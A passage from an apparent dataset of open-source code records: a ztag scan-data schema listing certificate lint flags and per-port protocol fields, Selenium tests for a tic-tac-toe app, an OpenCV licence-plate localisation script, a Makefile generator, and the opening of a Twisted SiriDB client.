\"e_ian_wildcard_not_first\":LintBool(),\n \"e_inhibit_any_policy_not_critical\":LintBool(),\n \"e_international_dns_name_not_nfkc\":LintBool(),\n \"e_international_dns_name_not_unicode\":LintBool(),\n \"e_invalid_certificate_version\":LintBool(),\n \"e_issuer_field_empty\":LintBool(),\n \"e_name_constraint_empty\":LintBool(),\n \"e_name_constraint_maximum_not_absent\":LintBool(),\n \"e_name_constraint_minimum_non_zero\":LintBool(),\n \"e_old_root_ca_rsa_mod_less_than_2048_bits\":LintBool(),\n \"e_old_sub_ca_rsa_mod_less_than_1024_bits\":LintBool(),\n \"e_old_sub_cert_rsa_mod_less_than_1024_bits\":LintBool(),\n \"e_path_len_constraint_improperly_included\":LintBool(),\n \"e_path_len_constraint_zero_or_less\":LintBool(),\n \"e_public_key_type_not_allowed\":LintBool(),\n \"e_root_ca_extended_key_usage_present\":LintBool(),\n \"e_root_ca_key_usage_must_be_critical\":LintBool(),\n \"e_root_ca_key_usage_present\":LintBool(),\n \"e_rsa_exp_negative\":LintBool(),\n \"e_rsa_mod_less_than_2048_bits\":LintBool(),\n \"e_rsa_no_public_key\":LintBool(),\n \"e_rsa_public_exponent_not_odd\":LintBool(),\n \"e_rsa_public_exponent_too_small\":LintBool(),\n \"e_san_bare_wildcard\":LintBool(),\n \"e_san_dns_name_includes_null_char\":LintBool(),\n \"e_san_dns_name_starts_with_period\":LintBool(),\n \"e_san_wildcard_not_first\":LintBool(),\n \"e_serial_number_longer_than_20_octets\":LintBool(),\n \"e_serial_number_not_positive\":LintBool(),\n \"e_signature_algorithm_not_supported\":LintBool(),\n \"e_sub_ca_aia_does_not_contain_ocsp_url\":LintBool(),\n \"e_sub_ca_aia_marked_critical\":LintBool(),\n \"e_sub_ca_aia_missing\":LintBool(),\n \"e_sub_ca_certificate_policies_missing\":LintBool(),\n \"e_sub_ca_crl_distribution_points_does_not_contain_url\":LintBool(),\n \"e_sub_ca_crl_distribution_points_marked_critical\":LintBool(),\n \"e_sub_ca_crl_distribution_points_missing\":LintBool(),\n \"e_sub_ca_eku_missing\":LintBool(),\n \"e_sub_ca_eku_name_constraints\":LintBool(),\n \"e_sub_ca_must_not_contain_any_policy\":LintBool(),\n \"e_sub_cert_aia_does_not_contain_ocsp_url\":LintBool(),\n \"e_sub_cert_aia_marked_critical\":LintBool(),\n \"e_sub_cert_aia_missing\":LintBool(),\n \"e_sub_cert_cert_policy_empty\":LintBool(),\n \"e_sub_cert_certificate_policies_missing\":LintBool(),\n \"e_sub_cert_country_name_must_appear\":LintBool(),\n \"e_sub_cert_crl_distribution_points_does_not_contain_url\":LintBool(),\n \"e_sub_cert_crl_distribution_points_marked_critical\":LintBool(),\n \"e_sub_cert_eku_missing\":LintBool(),\n \"e_sub_cert_eku_server_auth_client_auth_missing\":LintBool(),\n \"e_sub_cert_given_name_surname_contains_correct_policy\":LintBool(),\n \"e_sub_cert_key_usage_cert_sign_bit_set\":LintBool(),\n \"e_sub_cert_key_usage_crl_sign_bit_set\":LintBool(),\n \"e_sub_cert_locality_name_must_appear\":LintBool(),\n \"e_sub_cert_locality_name_must_not_appear\":LintBool(),\n \"e_sub_cert_not_is_ca\":LintBool(),\n \"e_sub_cert_or_sub_ca_using_sha1\":LintBool(),\n \"e_sub_cert_postal_code_must_not_appear\":LintBool(),\n \"e_sub_cert_province_must_appear\":LintBool(),\n \"e_sub_cert_province_must_not_appear\":LintBool(),\n \"e_sub_cert_street_address_should_not_exist\":LintBool(),\n \"e_sub_cert_valid_time_too_long\":LintBool(),\n \"e_subject_common_name_max_length\":LintBool(),\n \"e_subject_common_name_not_from_san\":LintBool(),\n \"e_subject_contains_noninformational_value\":LintBool(),\n \"e_subject_contains_reserved_ip\":LintBool(),\n \"e_subject_country_not_iso\":LintBool(),\n \"e_subject_empty_without_san\":LintBool(),\n \"e_subject_info_access_marked_critical\":LintBool(),\n \"e_subject_locality_name_max_length\":LintBool(),\n \"e_subject_not_dn\":LintBool(),\n \"e_subject_organization_name_max_length\":LintBool(),\n \"e_subject_organizational_unit_name_max_length\":LintBool(),\n \"e_subject_state_name_max_length\":LintBool(),\n \"e_utc_time_does_not_include_seconds\":LintBool(),\n \"e_utc_time_not_in_zulu\":LintBool(),\n \"e_validity_time_not_positive\":LintBool(),\n \"e_wrong_time_format_pre2050\":LintBool(),\n \"n_ca_digital_signature_not_set\":LintBool(),\n \"n_contains_redacted_dnsname\":LintBool(),\n \"n_sub_ca_eku_not_technically_constrained\":LintBool(),\n \"n_subject_common_name_included\":LintBool(),\n \"w_distribution_point_missing_ldap_or_uri\":LintBool(),\n \"w_dnsname_underscore_in_trd\":LintBool(),\n \"w_dnsname_wildcard_left_of_public_suffix\":LintBool(),\n \"w_eku_critical_improperly\":LintBool(),\n \"w_ext_aia_access_location_missing\":LintBool(),\n \"w_ext_cert_policy_contains_noticeref\":LintBool(),\n \"w_ext_cert_policy_explicit_text_includes_control\":LintBool(),\n \"w_ext_cert_policy_explicit_text_not_nfc\":LintBool(),\n \"w_ext_cert_policy_explicit_text_not_utf8\":LintBool(),\n \"w_ext_crl_distribution_marked_critical\":LintBool(),\n \"w_ext_ian_critical\":LintBool(),\n \"w_ext_key_usage_not_critical\":LintBool(),\n \"w_ext_policy_map_not_critical\":LintBool(),\n \"w_ext_policy_map_not_in_cert_policy\":LintBool(),\n \"w_ext_san_critical_with_subject_dn\":LintBool(),\n \"w_ext_subject_key_identifier_missing_sub_cert\":LintBool(),\n \"w_ian_iana_pub_suffix_empty\":LintBool(),\n \"w_issuer_dn_leading_whitespace\":LintBool(),\n \"w_issuer_dn_trailing_whitespace\":LintBool(),\n \"w_multiple_issuer_rdn\":LintBool(),\n \"w_multiple_subject_rdn\":LintBool(),\n \"w_name_constraint_on_edi_party_name\":LintBool(),\n \"w_name_constraint_on_registered_id\":LintBool(),\n \"w_name_constraint_on_x400\":LintBool(),\n \"w_root_ca_basic_constraints_path_len_constraint_field_present\":LintBool(),\n \"w_root_ca_contains_cert_policy\":LintBool(),\n \"w_rsa_mod_factors_smaller_than_752\":LintBool(),\n \"w_rsa_mod_not_odd\":LintBool(),\n \"w_rsa_public_exponent_not_in_range\":LintBool(),\n \"w_san_iana_pub_suffix_empty\":LintBool(),\n \"w_serial_number_low_entropy\":LintBool(),\n \"w_sub_ca_aia_does_not_contain_issuing_ca_url\":LintBool(),\n \"w_sub_ca_certificate_policies_marked_critical\":LintBool(),\n \"w_sub_ca_eku_critical\":LintBool(),\n \"w_sub_ca_name_constraints_not_critical\":LintBool(),\n \"w_sub_cert_aia_does_not_contain_issuing_ca_url\":LintBool(),\n \"w_sub_cert_certificate_policies_marked_critical\":LintBool(),\n \"w_sub_cert_eku_extra_values\":LintBool(),\n \"w_sub_cert_sha1_expiration_too_long\":LintBool(),\n \"w_subject_dn_leading_whitespace\":LintBool(),\n \"w_subject_dn_trailing_whitespace\":LintBool(),\n}, validation_policy=\"ignore\")\n\n\nZLint = SubRecord({\n # version is an int64 in the protobuf\n \"version\":Unsigned16BitInteger(validation_policy=\"ignore\"),\n \"notices_present\":Boolean(),\n \"warnings_present\":Boolean(),\n \"errors_present\":Boolean(),\n \"fatals_present\":Boolean(),\n \"lints\":Lints,\n})\n\n\n\ncertificate = Record({\n \"parsed\": SubRecord({\n \"__expanded_names\": ListOf(String()),\n }, extends=zcrypto.ParsedCertificate()),\n \"raw\":Binary(),\n \"fingerprint_sha256\":HexString(),\n \"tags\":ListOf(WhitespaceAnalyzedString()),\n \"metadata\":SubRecord({\n \"updated_at\":Timestamp(),\n \"added_at\":Timestamp(),\n \"post_processed\":Boolean(),\n \"post_processed_at\":Timestamp(),\n \"seen_in_scan\":Boolean(),\n \"source\":String(),\n \"parse_version\":Unsigned16BitInteger(),\n \"parse_error\":WhitespaceAnalyzedString(),\n \"parse_status\":String(),\n }, category=\"Metadata\"),\n \"parents\":ListOf(String(), category=\"Misc\"),\n \"parent_spki_subject_fingerprint\":HexString(),\n \"validation\":SubRecord({\n \"nss\":ztag_certificate_validation.new(category=\"NSS (Firefox) Validation\"),\n \"apple\":ztag_certificate_validation.new(category=\"Apple Validation\"),\n \"microsoft\":ztag_certificate_validation.new(category=\"Microsoft Validation\"),\n #\"java\":ztag_certificate_validation,\n #\"android\":ztag_certificate_validation,\n \"google_ct_primary\":ztag_certificate_validation.new(category=\"Google CT Validation\"),\n #\"google_ct_submariner\":ztag_certificate_validation,\n }),\n \"ct\":CTStatus.new(category=\"Certificate Transparency Logs\"),\n # TODO: 2018/08/14 -- ccadb data is not being loaded, so hold off on creating this schema.\n # \"audit\":CertificateAudit,\n \"zlint\":ZLint.new(category=\"ZLint\"),\n \"precert\":Boolean(category=\"Misc\")\n})\n\nzschema.registry.register_schema(\"certificate\", certificate)\n\nipv4_host = Record({\n Port(443):SubRecord({\n \"https\":SubRecord({\n \"tls\":ztag_tls,\n \"get\":ztag_http,\n \"heartbleed\":ztag_heartbleed,\n \"dhe\": ztag_dh,\n \"rsa_export\": ztag_rsa_export,\n \"dhe_export\": ztag_dh_export,\n \"ssl_3\": ztag_tls_support,\n \"tls_1_1\": ztag_tls_support,\n \"tls_1_2\": ztag_tls_support,\n \"ecdhe\": ztag_ecdh,\n }, category=\"443/HTTPS\")\n }),\n Port(80):SubRecord({\n \"http\":SubRecord({\n \"get\":ztag_http,\n }, category=\"80/HTTP\"),\n }),\n Port(8080):SubRecord({\n \"http\":SubRecord({\n \"get\":ztag_http,\n }, category=\"8080/HTTP\"),\n }),\n Port(8888):SubRecord({\n \"http\":SubRecord({\n \"get\":ztag_http,\n }, category=\"8888/HTTP\"),\n }),\n Port(25):SubRecord({\n \"smtp\":SubRecord({\n \"starttls\": ztag_smtp_starttls,\n }, category=\"25/SMTP\"),\n }),\n Port(23):SubRecord({\n \"telnet\":SubRecord({\n \"banner\":ztag_telnet\n }, category=\"23/Telnet\")\n }),\n Port(2323):SubRecord({\n \"telnet\":SubRecord({\n \"banner\":ztag_telnet\n }, category=\"2323/Telnet\")\n }),\n Port(21):SubRecord({\n \"ftp\":SubRecord({\n \"banner\":ztag_ftp,\n }, category=\"21/FTP\")\n }),\n Port(102):SubRecord({\n \"s7\":SubRecord({\n \"szl\":ztag_s7\n }, category=\"102/S7\")\n }),\n Port(110):SubRecord({\n \"pop3\":SubRecord({\n \"starttls\":ztag_mail_starttls,\n }, category=\"110/POP3\")\n }),\n Port(143):SubRecord({\n \"imap\":SubRecord({\n \"starttls\":ztag_mail_starttls,\n }, category=\"143/IMAP\")\n }),\n Port(445):SubRecord({\n \"smb\":SubRecord({\n \"banner\":ztag_smb\n }, category=\"445/SMB\", validation_policy=\"error\")\n }),\n Port(993):SubRecord({\n \"imaps\":SubRecord({\n \"tls\":ztag_mail_tls,\n }, category=\"993/IMAPS\")\n }),\n Port(995):SubRecord({\n \"pop3s\":SubRecord({\n \"tls\":ztag_mail_tls,\n }, category=\"995/POP3S\")\n }),\n Port(587):SubRecord({\n \"smtp\":SubRecord({\n \"starttls\": ztag_smtp_starttls,\n }, category=\"587/SMTP\")\n }),\n Port(502):SubRecord({\n \"modbus\":SubRecord({\n \"device_id\":ztag_modbus\n }, category=\"502/Modbus\")\n }),\n Port(22):SubRecord({\n \"ssh\":SubRecord({\n \"v2\": ztag_ssh_v2\n }, category=\"22/SSH\"),\n }),\n Port(53):SubRecord({\n \"dns\":SubRecord({\n \"lookup\":ztag_dns_lookup\n }, category=\"53/DNS\")\n }),\n Port(47808):SubRecord({\n \"bacnet\":SubRecord({\n \"device_id\":ztag_bacnet\n }, category=\"47808/BACNET\")\n }),\n Port(1911):SubRecord({\n \"fox\":SubRecord({\n \"device_id\":ztag_fox\n }, category=\"1911/Fox\")\n }),\n Port(20000):SubRecord({\n \"dnp3\":SubRecord({\n \"status\":ztag_dnp3,\n }, category=\"20000/DNP3\")\n }),\n Port(7547):SubRecord({\n \"cwmp\":SubRecord({\n \"get\":ztag_http,\n }, category=\"7547/CWMP\")\n }),\n Port(1900):SubRecord({\n \"upnp\":SubRecord({\n \"discovery\":ztag_upnp_discovery,\n }, category=\"1900/UPnP\")\n }),\n Port(1521):SubRecord({\n \"oracle\":SubRecord({\n \"banner\": ztag_oracle,\n }, category=\"1521/Oracle\"),\n }),\n Port(1433):SubRecord({\n \"mssql\":SubRecord({\n \"banner\": ztag_mssql,\n }, category=\"1433/MSSQL\"),\n }),\n Port(3306): SubRecord({\n \"mysql\": SubRecord({\n \"banner\": ztag_mysql,\n }, category=\"3306/MySQL\"),\n }),\n Port(27017): SubRecord({\n \"mongodb\": SubRecord({\n \"banner\": ztag_mongodb ,\n }, category=\"27017/MongoDB\"),\n }),\n Port(5432): SubRecord({\n \"postgres\": SubRecord({\n \"banner\": ztag_postgres,\n }, category=\"5432/Postgres\"),\n }),\n Port(631): SubRecord({\n \"ipp\": SubRecord({\n \"banner\": ztag_ipp,\n }, category=\"631/IPP\"),\n }),\n \"tags\":ListOf(WhitespaceAnalyzedString(), category=\"Basic Information\"),\n \"metadata\":zdb_metadata,\n \"location\":zdb_location,\n \"__restricted_location\":zdb_restricted_location,\n \"autonomous_system\":zdb_as.new(category=\"Basic Information\"),\n \"notes\":WhitespaceAnalyzedString(),\n \"ip\":IPv4Address(required=True, category=\"Basic Information\"),\n \"ipint\":Unsigned32BitInteger(required=True, doc=\"Integer value of IP address in host order\"),\n \"updated_at\":Timestamp(),\n \"zdb_version\":Unsigned32BitInteger(),\n \"protocols\":ListOf(String(), category=\"Basic Information\"),\n \"ports\":ListOf(Unsigned16BitInteger())\n})\n\nwebsite = Record({\n Port(443):SubRecord({\n \"https\":SubRecord({\n \"get\":ztag_http,\n \"tls\":ztag_tls,\n \"heartbleed\":ztag_heartbleed,\n \"dhe\": ztag_dh,\n \"rsa_export\": ztag_rsa_export,\n \"dhe_export\": ztag_dh_export,\n \"ssl_3\": ztag_tls_support,\n \"tls_1_1\": ztag_tls_support,\n \"tls_1_2\": ztag_tls_support,\n \"ecdhe\": ztag_ecdh,\n }),\n \"https_www\":SubRecord({\n \"tls\":ztag_tls,\n \"get\":ztag_http,\n })\n }, category=\"443/HTTPS\"),\n Port(80):SubRecord({\n \"http\":SubRecord({\n \"get\":ztag_http,\n }),\n \"http_www\":SubRecord({\n \"get\":ztag_http,\n }),\n }, category=\"80/HTTP\"),\n Port(25):SubRecord({\n \"smtp\":SubRecord({\n \"starttls\": ztag_smtp_starttls,\n })\n }, category=\"25/SMTP\"),\n Port(0):SubRecord({\n \"lookup\":SubRecord({\n \"spf\":ztag_lookup_spf,\n \"dmarc\":ztag_lookup_dmarc,\n \"axfr\":ztag_lookup_axfr,\n })\n }, category=\"Basic Information\"),\n\n \"tags\":ListOf(WhitespaceAnalyzedString(), category=\"Basic Information\"),\n \"metadata\":zdb_metadata,\n \"notes\":EnglishString(es_include_raw=True),\n \"domain\":String(category=\"Basic Information\"),\n \"alexa_rank\":Unsigned32BitInteger(doc=\"Rank in the Alexa Top 1 Million. \"\n \"Null if not currently in the Top 1 Million sites.\",\n category=\"Basic Information\"),\n \"updated_at\":Timestamp(),\n \"zdb_version\":Unsigned32BitInteger(),\n \"protocols\":ListOf(String(), category=\"Basic Information\"),\n \"ports\":ListOf(Unsigned16BitInteger())\n})\n\n\nDROP_KEYS = {'ip_address', 'metadata', 'tags', 'timestamp'}\n\nzschema.registry.register_schema(\"ipv4host\", ipv4_host)\nzschema.registry.register_schema(\"website\", website)\n", "source": "justinbastress/ztag", "license": "Apache-2.0"} {"text": "from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport random\nimport unittest\n\n\nclass TestCalculator(unittest.TestCase):\n\n def setUp(self):\n \"\"\" Before each test, will click through the begin button on 1st page \"\"\"\n self.browser = webdriver.Firefox()\n self.browser.get('http://localhost:5000/')\n btn = WebDriverWait(self.browser, 10).until(\n EC.presence_of_element_located((By.ID, \"begin\"))\n )\n btn.click()\n\n def tearDown(self):\n \"\"\" After each test, will shut down browser \"\"\"\n self.browser.quit()\n\n def test_title(self):\n \"\"\" Tests title is correct \"\"\"\n self.assertEqual(self.browser.title, 'Tic-Tac-Toe PLUS')\n\n def test_show_form(self):\n \"\"\" Tests form is showing \"\"\"\n num = self.browser.find_element_by_id('num')\n num.send_keys(\"2\")\n\n value = num.get_attribute('value').encode('utf-8')\n self.assertEqual(\"2\", value)\n\n def test_create_board(self):\n \"\"\" Tests board is created with proper dimensions \"\"\"\n\n num = self.browser.find_element_by_id(\"num\")\n num.send_keys(\"2\")\n submit_btn = self.browser.find_element_by_id('submit')\n submit_btn.click()\n\n board_buttons = self.browser.find_elements_by_class_name(\"board-btn\")\n\n self.assertEqual(2*2, len(board_buttons))\n\n\n def test_check_board_winner(self):\n \"\"\" Tests that game is won \"\"\"\n\n num = self.browser.find_element_by_id(\"num\")\n num.send_keys(\"2\")\n submit_btn = self.browser.find_element_by_id('submit')\n submit_btn.click()\n\n two_players = self.browser.find_element_by_id(\"two-players\")\n two_players.click()\n\n board_buttons = self.browser.find_elements_by_class_name(\"board-btn\")\n\n board_buttons[0].click()\n board_buttons[1].click()\n board_buttons[2].click()\n\n winner_title = self.browser.find_element_by_id(\"winner-title\")\n message = winner_title.get_attribute('innerHTML')\n\n assert \"Congrats to Player\" in message\n\n def test_check_board_cats_game(self):\n \"\"\" Tests that game is tied \"\"\"\n\n num = self.browser.find_element_by_id(\"num\")\n num.send_keys(\"3\")\n submit_btn = self.browser.find_element_by_id('submit')\n submit_btn.click()\n\n two_players = self.browser.find_element_by_id(\"two-players\")\n two_players.click()\n\n board_buttons = self.browser.find_elements_by_class_name(\"board-btn\")\n\n board_buttons[0].click()\n board_buttons[3].click()\n board_buttons[1].click()\n board_buttons[4].click()\n board_buttons[5].click()\n board_buttons[2].click()\n board_buttons[6].click()\n board_buttons[7].click()\n board_buttons[8].click()\n\n cat = self.browser.find_element_by_id(\"cat\")\n message = cat.get_attribute(\"innerHTML\")\n\n self.assertEqual(message, \"\")\n\nif __name__ == '__main__':\n unittest.main()", "source": "adobs/tic-tac-toe", "license": "MIT"} {"text": "#\n# this code is for plate localization\n#\n\n# import tensorflow as tf\nimport cv2\nimport imutils\nimport numpy as np\nfrom imutils import paths\nimport RDetectPlates as detplt\nfrom imutils import perspective\nimport matplotlib.pyplot as plt\n\nimport RLpPreprocess as prpr\n\n#\n# trying different images by addressing different paths\n#\n# path = ''\npath = '/path to image data'\n# path = '/home/bayes/Academic/Research/Radarsan-01/ANPR/I_data/14_00_30_2'\nimgs = sorted(list(paths.list_images(path)), reverse=True)\nrnd = np.random.randint(0, len(imgs) - 1, 1)[0]\n# rnd = 5 #87\n# testing the detector:\ndet_1 = 'fatih'\ndet_2 = 'comp'\n\nrun = True\n# the goal of this part is to find plate!!\nwhile (run):\n run = False\n # for first path\n # imgOrg = cv2.imread(path) #imgOrg = np.asarray(img)\n\n # for second path\n imgOrg = cv2.imread(path + '/ANPRCAMERA_701_143.52.jpg') # imgs[rnd]\n # prpr.preprocess(img)\n # s_x, s_y, ch = img.shape\n # intface = paths.list_images(path) # list()\n # imgOrg = sorted(intface, reverse=True)\n\n # plt.imshow(imgOrg)\n # plt.close()\n try:\n gimg = cv2.cvtColor(imgOrg, cv2.COLOR_BGR2GRAY)\n except:\n print('there is an error in making img gray')\n #\n # working on Fatihs\n # this part should be checked once again\n #\n\n detector = 'fatih'\n if detector == det_1:\n\n retRegions = [] # this will be the return value\n retCoords = [] # this will be the return value\n # defining kernels\n rectKernel = cv2.getStructuringElement(cv2.MORPH_RECT, (13, 4)) # the rectangle kernel\n superKernel = cv2.getStructuringElement(cv2.MORPH_RECT, (25, 3)) # 27,3 check 29 also\n smallKernel = cv2.getStructuringElement(cv2.MORPH_RECT, (4, 3))\n pKernel = cv2.getStructuringElement(cv2.MORPH_RECT, (9, 2))\n\n # convert the image to grayscale, and apply the blackhat operation\n # gray = cv2.cvtColor(imgOrg, cv2.COLOR_BGR2GRAY)\n # step one\n gradX = np.absolute(cv2.Sobel(gimg, ddepth=cv2.CV_32F, dx=1, dy=0, ksize=-1))\n (minVal, maxVal) = (np.min(gradX), np.max(gradX))\n gradX = (255 * ((gradX - minVal) / (maxVal - minVal))).astype(\"uint8\")\n # I used one name for readability and memory usage\n # step two\n gray = cv2.medianBlur(cv2.blur(cv2.GaussianBlur(gradX, (9, 5), 0), (9, 5)), 5)\n\n # dilation should go here\n # step three\n gray = cv2.dilate(gray, rectKernel, iterations=2)\n\n # testing to put erosion here -> goes bad\n # step four\n gray = cv2.morphologyEx(gray, cv2.MORPH_RECT, superKernel) # using morph consequently is helpfull\n gray = cv2.morphologyEx(gray, cv2.MORPH_RECT, rectKernel)\n gray = cv2.morphologyEx(gray, cv2.MORPH_RECT, smallKernel)\n\n # step five\n gray = cv2.dilate(gray, rectKernel, iterations=2)\n\n # testing erosion here\n # steps six and seven\n gray = cv2.erode(gray, rectKernel, iterations=2)\n gray = cv2.morphologyEx(gray, cv2.MORPH_RECT, rectKernel)\n gray = cv2.morphologyEx(gray, cv2.MORPH_RECT, superKernel)\n # step eight\n gray = cv2.dilate(gray, rectKernel, iterations=2)\n gray = cv2.dilate(gray, superKernel, iterations=1)\n\n # gray = (gradX + 2 * gradY) // 3\n # gray = cv2.dilate(gray, smallKernel, iterations=15)\n # deleting variables\n # del gradY, gradX\n # step nine\n # this part is going to develop by me\n # Make a list for all possible licence plates\n # todo: My previous code:\n # mx_v = np.amax(gray)\n # _, gray = cv2.threshold(gray, 0.60 * mx_v, mx_v, cv2.THRESH_BINARY)\n # _, cnts, _ = cv2.findContours(gray, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) # before: cv2.RETR_EXTERNAL\n # del gray, mx_v\n\n poss_plate = []\n det_plate = []\n poss_plate.append(gray)\n to_end = False\n max_lim = 2\n tolerance = 100\n\n for i in range(max_lim):\n mx_v = np.amax(poss_plate[i])\n _, gray = cv2.threshold(poss_plate[i], 0.7 * mx_v, 0.7 * mx_v, cv2.THRESH_BINARY)\n # gray = (mx_v / 255) * gray\n d00 = poss_plate[i] - gray\n det_plate.append(gray)\n if np.linalg.norm(d00) < tolerance:\n break\n # I should do some morphology related things\n d00 = cv2.erode(d00, superKernel, iterations=1)\n d01 = cv2.morphologyEx(d00, cv2.MORPH_RECT, rectKernel)\n d02 = cv2.dilate(d01, pKernel, iterations=3)\n d03 = cv2.dilate(d02, rectKernel, iterations=2)\n poss_plate.append(d03)\n\n for i in range(len(det_plate)):\n # loop over the contours\n _, cnts, _ = cv2.findContours(det_plate[i], cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n for c in cnts:\n # grab the bounding box associated with the contour and compute the area and\n # aspect ratio\n (x, y, w, h) = cv2.boundingRect(c)\n aspectRatio = w / float(h)\n # compute the rotated bounding box of the region\n rect = cv2.minAreaRect(c)\n box = np.int0(cv2.boxPoints(rect))\n box[0, :] += 3\n box[1, :] += 4\n box[:, 0] -= 3\n box[:, 1] -= 4\n # ensure the aspect ratio, width, and height of the bounding box fall within\n # tolerable limits, then update the list of license plate regions\n # todo: lets examin the scaled factores with some tolerance\n if (aspectRatio > 2.1 and aspectRatio < 7) and h > 10 and w > 50 and h < 125 and w < 400:\n retRegions.append(box)\n retCoords.append((x, y, w, h))\n\n counter = 0\n # for every possible plate regions\n for region in retRegions:\n pltCoord = retCoords[counter]\n counter += 1\n # plate, _, _, _ = detplt.getFilteredImageFromRegion(region)\n plate = perspective.four_point_transform(gimg, region)\n plate = imutils.resize(plate, width=400)\n # show to decide best capturing\n plt.imshow(plate) # there is a problem for closed images\n plt.close()\n\nprint('its finished')\nprint(retRegions)\n\n# for more improvement i will work on the interaction between size and threshold! in order to find most proper one!\n", "source": "schliffen/Localazing-with-image-processing-techniques", "license": "Unlicense"} {"text": "import os, sys; sys.path.append(os.path.dirname(os.path.realpath(__file__)))\n\nfrom srcs_expression import proccess_src_list_expressions\nfrom compiler_opts import generate_compilers_options\nfrom compiler_rules import generate_link_rule, generate_compile_rules\nimport target_collectors\n\n\ndef generate_generic_variables(obj_dir):\n print(\"# **************************************************************************** #\")\n print(\"# GENERIC_VARIABLES\\n\")\n print(\"OBJ_DIR = {obj_dir}\\n\".format(obj_dir=obj_dir))\n\n\ndef generate_target_variables(t):\n target_path = t.get(\"path\", \".\")\n target_type = t.get(\"type\", \"prog\")\n print(\"\\n\".join([\n \"# **************************************************************************** #\",\n \"# {target_upcase} TARGET DESCRIPTION\",\n \"\",\n \"{target_upcase}_NAME = {name}\",\n \"{target_upcase}_PATH = {path}\",\n \"{target_upcase}_FILE = {out}/{outfile}\",\n \"{target_upcase}_SRCS = {srcs}\",\n \"{target_upcase}_OBJS = $(patsubst %, $(OBJ_DIR)/%.o, $({target_upcase}_SRCS))\",\n \"{target_upcase}_DEPS = $(patsubst %, $(OBJ_DIR)/%.d, $({target_upcase}_SRCS))\",\n \"{target_upcase}_LIBS = {libs}\",\n \"{target_upcase}_INCS = {incs}\",\n \"\"\n ]).format(\n target_upcase=t[\"name\"].upper(),\n name=t[\"name\"],\n path=target_path,\n out=t.get(\"out\", target_path),\n outfile=t[\"name\"] if target_type == \"prog\" else \"lib%s.a\" % t[\"name\"],\n srcs=\" \".join(proccess_src_list_expressions(t[\"sources\"], target_path)),\n libs=target_collectors.collect_target_libs_string(t) if target_type == \"prog\" else \"\",\n incs=\" \".join([\"-I %s\" % h for h in t.get(\"includes\", ())])\n ))\n\n\ndef generate_generic_rules(targets):\n libs_files = \" \".join([\"$(%s_FILE)\" % t[\"name\"].upper() for t in targets.values() if t.get(\"type\", \"prog\") == \"lib\"])\n progs_files = \" \".join([\"$(%s_FILE)\" % t[\"name\"].upper() for t in targets.values() if t.get(\"type\", \"prog\") == \"prog\"])\n print(\"\\n\".join([\n \"# **************************************************************************** #\",\n \"# GENERIC RULES\",\n \"\",\n \".PHONY: all re clean fclean\",\n \".DEFAULT_GOAL = all\",\n \"\",\n \"all: {all_filenames}\",\n \"\",\n \"clean:\",\n \"\\t@rm -rf $(OBJ_DIR)\",\n \"\",\n \"fclean: clean\",\n \"\\t@rm -rf {all_filenames}\",\n \"\",\n \"re: fclean all\",\n \"\"\n ]).format(\n all_filenames=libs_files + \" \" + progs_files \n ))\n\n\ndef generate_generic_bottom(targets):\n print(\"-include %s\" % \" \".join([\"$(%s_DEPS)\" % t[\"name\"].upper() for t in targets.values()]))\n\n\ndef generate_makefile(schema, compilers_options=dict()):\n obj_dir = \"build\"\n if not (\"c\" in compilers_options):\n compilers_options[\"c\"] = dict()\n generate_generic_variables(obj_dir)\n generate_compilers_options(compilers_options)\n targets = dict()\n target_collectors.collect_target(schema, targets)\n\n for t in targets.values():\n generate_target_variables(t)\n\n generate_generic_rules(targets)\n\n for t in targets.values():\n generate_link_rule(t)\n generate_compile_rules(t, compilers_options)\n \n generate_generic_bottom(targets)\n", "source": "dolovnyak/Philosophers", "license": "Unlicense"} {"text": "import sys\nimport logging\nimport random\nimport time\nfrom twisted.internet import reactor # @UnresolvedImport\nfrom twisted.internet import defer # @UnresolvedImport\nfrom twisted.internet import task # @UnresolvedImport\nfrom twisted.python import log # @UnresolvedImport\nfrom twisted.internet.error import ConnectionClosed # @UnresolvedImport\nfrom .factory import SiriFactory\nfrom . import protomap\nfrom .exceptions import ServerError\nfrom .exceptions import PoolError\nfrom .exceptions import AuthenticationError\n\nSTRCMP = (str, bytes) if sys.version_info[0] == 3 else (str, unicode, bytes)\n\n# never wait more than x seconds before trying to connect again\nDEFAULT_MAX_WAIT_RETRY = 90\n\n# default timeout used while connecting to a SiriDB server\nDEFAULT_CONNECT_TIMEOUT = 10\n\n# when a SiriDB server is marked as inactive, wait x seconds before releasing\n# the inactive status.\nDEFAULT_INACTIVE_TIME = 30\n\n\nclass SiriDBClientTwisted(object):\n '''\n Exception handling:\n\n - InsertError (can only be raised when using the insert() method)\n Make sure the data is correct because this only happens when\n SiriDB could not process the request. Its likely to fail again\n on a retry.\n - QueryError (can only be raised when using the query() method)\n Make sure the query is correct because this only happens when\n SiriDB could not process the query. Its likely to fail again.\n - PoolError\n SiriDB has no online server for at least one required pool\n Try again later after some reasonable delay.\n - siritwisted.shared.exceptions.AuthenticationError\n Raised when credentials are invalid or insufficient\n - IndexError\n Raised when the database does not exist anymore\n - TypeError\n Raised when an unknown package is received. (might be caused\n by running a different SiriDB version)\n - RuntimeError\n Raised when a general error message is received. This should not\n happen unless a new bug is discovered.\n - OverflowError (can only be raised when using the insert() method)\n Raise when integer values cannot not be packed due to an overflow\n error. (integer values should be signed and not more than 63 bits)\n '''\n\n def __init__(self,\n username,\n password,\n dbname,\n hostlist,\n inactiveTime=DEFAULT_INACTIVE_TIME,\n maxWaitRetry=DEFAULT_MAX_WAIT_RETRY):\n '''Initialize.\n Arguments:\n username: User with permissions to use the database.\n password: Password for the given username.\n dbname: Name of the database.\n hostlist: List with SiriDB servers. (all servers or a subset of\n servers can be in this list.)\n\n Example:\n [\n ('server1.local', 9000, {'weight': 3}),\n ('server2.local', 9000),\n ('backup1.local', 9000, {'backup': True})\n ]\n\n Each server should at least has a hostname and port\n number. Optionally you can provide a dictionary with\n extra options.\n\n Available Options:\n - weight : Should be a value between 1 and 9. A higher\n value gives the server more weight so it will\n be more likely chosen. (default 1)\n - backup : Should be either True or False. When True the\n server will be marked as backup server and\n will only be chosen if no other server is\n available. (default: False)\n Keyword arguments:\n inactiveTime: When a server is temporary not available, for\n example the server could be paused, we mark the\n server inactive for x seconds.\n maxWaitRetry: When the reconnect loop starts, we try to reconnect\n in a seconds, then 2 seconds, 4, 8 and so on until\n max_wait_retry is reached and then use this value\n to retry 